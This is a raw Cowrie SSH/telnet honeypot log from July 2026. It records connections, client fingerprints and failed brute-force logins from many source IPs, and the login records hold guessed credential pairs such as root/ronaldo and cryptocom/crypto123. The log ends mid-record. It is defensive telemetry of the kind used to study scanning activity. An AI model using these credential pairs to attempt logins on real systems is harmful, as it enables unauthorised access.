{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:6c:ec:a1:63:0c:02:ff:9a:63:d9:1b:86:69:57:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE6yhNn2odZVkHNd2+R8qqdlkcqZbZMVdaShv9MfqAdi3R/gGJDoG5R7VUEyKHxcHAmpYRGRLt1pd2NuoSppcUOK49NvmNxlu+4Svv4fu2A8AwvnuueLGXRVjpMwkjlIT4WGHHNPdY/pxRN46xvF9PMaA3r19kd9jOvRZNcgKpRYCqoIuOSUyfscpzMMXG9RQeINUYLzWVcia1CFYx2iurtAkOuMOE1OqOxQF5+FjXJONDGsQ4YdG+xx0m9L24okkIcsUckccJaq3NtT+EZ6bYVpXGgAK+0yiuGwAy05eJZV+BOOZFjcs0N0dhaeDKPjcWvIfAqLz56angpY/cs+5t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:6c:ec:a1:63:0c:02:ff:9a:63:d9:1b:86:69:57:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.983239Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:6c:ec:a1:63:0c:02:ff:9a:63:d9:1b:86:69:57:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE6yhNn2odZVkHNd2+R8qqdlkcqZbZMVdaShv9MfqAdi3R/gGJDoG5R7VUEyKHxcHAmpYRGRLt1pd2NuoSppcUOK49NvmNxlu+4Svv4fu2A8AwvnuueLGXRVjpMwkjlIT4WGHHNPdY/pxRN46xvF9PMaA3r19kd9jOvRZNcgKpRYCqoIuOSUyfscpzMMXG9RQeINUYLzWVcia1CFYx2iurtAkOuMOE1OqOxQF5+FjXJONDGsQ4YdG+xx0m9L24okkIcsUckccJaq3NtT+EZ6bYVpXGgAK+0yiuGwAy05eJZV+BOOZFjcs0N0dhaeDKPjcWvIfAqLz56angpY/cs+5t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:45.985976Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:e5:a7:e6:50:58:98:be:1b:63:df:9c:f8:e4:21:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP+o4+04oA0k+DncTayADDy/nJNAdXL/f2qvhZPrYuT7AUMSzbrciZ/AR57L+L3kd7BtiYlfT94GSpcf2eg4SSvt2F+QUH3ynQpVsVV0ptaQC9pIsaK0Kn3Qn2eAtjY7rq2HjmR7DbvZzQ0Sb9q2HqVzwzrvtXHii489hW4vET0HmBXEyz18wSD5NV4BnRYDfRf5yFBPr7oUASHXEupShQQBRG9aYGy2lDi846My/lw+dh/NV5DobmUu7DhvbigTJ6xB4v3qk9K9bDV9hvEwHlZmOSBpMD3URgb08+WDXQEO/7o6XzmRqCKYwjBe0qC76skOKSRhg3/7misF49mPeP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:e5:a7:e6:50:58:98:be:1b:63:df:9c:f8:e4:21:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:46.066510Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:e5:a7:e6:50:58:98:be:1b:63:df:9c:f8:e4:21:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDP+o4+04oA0k+DncTayADDy/nJNAdXL/f2qvhZPrYuT7AUMSzbrciZ/AR57L+L3kd7BtiYlfT94GSpcf2eg4SSvt2F+QUH3ynQpVsVV0ptaQC9pIsaK0Kn3Qn2eAtjY7rq2HjmR7DbvZzQ0Sb9q2HqVzwzrvtXHii489hW4vET0HmBXEyz18wSD5NV4BnRYDfRf5yFBPr7oUASHXEupShQQBRG9aYGy2lDi846My/lw+dh/NV5DobmUu7DhvbigTJ6xB4v3qk9K9bDV9hvEwHlZmOSBpMD3URgb08+WDXQEO/7o6XzmRqCKYwjBe0qC76skOKSRhg3/7misF49mPeP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:46.069437Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:46.149836Z","src_ip":"62.210.209.225","session":"02d0bf9a19e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":49802,"dst_ip":"159.203.135.109","dst_port":22,"session":"557cbb9c236e","protocol":"ssh","message":"New connection: 198.1.93.192:49802 (159.203.135.109:22) [session: 557cbb9c236e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:48.317370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:48.321607Z","src_ip":"198.1.93.192","session":"557cbb9c236e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:48.410166Z","src_ip":"198.1.93.192","session":"557cbb9c236e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cryptocom","password":"crypto123","message":"login attempt [cryptocom/crypto123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:48.679894Z","src_ip":"198.1.93.192","session":"557cbb9c236e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:11:50.061612Z","src_ip":"198.1.93.192","session":"557cbb9c236e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":48686,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb461b650cdf","protocol":"ssh","message":"New connection: 143.20.185.207:48686 (10.17.0.5:22) [session: eb461b650cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:02.082633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:02.087705Z","src_ip":"143.20.185.207","session":"eb461b650cdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:02.212860Z","src_ip":"143.20.185.207","session":"eb461b650cdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS4VCPU8GBAMD","message":"login attempt [root/undefinedVPS4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:02.565401Z","src_ip":"143.20.185.207","session":"eb461b650cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:03.682564Z","src_ip":"143.20.185.207","session":"eb461b650cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.39.166","src_port":19604,"dst_ip":"159.203.135.109","dst_port":22,"session":"7342c12df4f4","protocol":"ssh","message":"New connection: 178.128.39.166:19604 (159.203.135.109:22) [session: 7342c12df4f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:35.503596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:35.641444Z","src_ip":"178.128.39.166","session":"7342c12df4f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:35.648226Z","src_ip":"178.128.39.166","session":"7342c12df4f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ronaldo","message":"login attempt [root/ronaldo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:36.593421Z","src_ip":"178.128.39.166","session":"7342c12df4f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:37.792853Z","src_ip":"178.128.39.166","session":"7342c12df4f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":28166,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a6ba3ddc55","protocol":"ssh","message":"New connection: 38.93.206.2:28166 (159.203.135.109:22) [session: 47a6ba3ddc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:45.297146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:45.301280Z","src_ip":"38.93.206.2","session":"47a6ba3ddc55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:45.364049Z","src_ip":"38.93.206.2","session":"47a6ba3ddc55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"[not_saved]","message":"login attempt [root/[not_saved]] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:45.516013Z","src_ip":"38.93.206.2","session":"47a6ba3ddc55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:46.602916Z","src_ip":"38.93.206.2","session":"47a6ba3ddc55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35710,"dst_ip":"159.203.135.109","dst_port":23,"session":"19ec62325f34","protocol":"telnet","message":"New connection: 107.6.151.170:35710 (159.203.135.109:23) [session: 19ec62325f34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:53.242962Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":44092,"dst_ip":"10.17.0.5","dst_port":23,"session":"342c1b784587","protocol":"telnet","message":"New connection: 72.167.226.244:44092 (10.17.0.5:23) [session: 342c1b784587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:12:54.315892Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28482,"dst_ip":"10.17.0.5","dst_port":22,"session":"6664c2df3653","protocol":"ssh","message":"New connection: 194.59.206.2:28482 (10.17.0.5:22) [session: 6664c2df3653]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:20.059438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:20.063113Z","src_ip":"194.59.206.2","session":"6664c2df3653","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:20.152658Z","src_ip":"194.59.206.2","session":"6664c2df3653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:20.245278Z","src_ip":"194.59.206.2","session":"6664c2df3653","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73998212814331,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:25.055771Z","src_ip":"72.167.226.244","session":"342c1b784587","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.854018449783325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:25.096880Z","src_ip":"107.6.151.170","session":"19ec62325f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":62679,"dst_ip":"10.17.0.5","dst_port":22,"session":"001a8b452b50","protocol":"ssh","message":"New connection: 87.156.182.84:62679 (10.17.0.5:22) [session: 001a8b452b50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:34.541438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:34.545016Z","src_ip":"87.156.182.84","session":"001a8b452b50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:34.669304Z","src_ip":"87.156.182.84","session":"001a8b452b50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp1","password":"12345678","message":"login attempt [ftp1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:37.772943Z","src_ip":"87.156.182.84","session":"001a8b452b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":45040,"dst_ip":"159.203.135.109","dst_port":22,"session":"acad7ee483fc","protocol":"ssh","message":"New connection: 166.62.89.133:45040 (159.203.135.109:22) [session: acad7ee483fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:38.389602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:13:38.393268Z","src_ip":"166.62.89.133","session":"acad7ee483fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 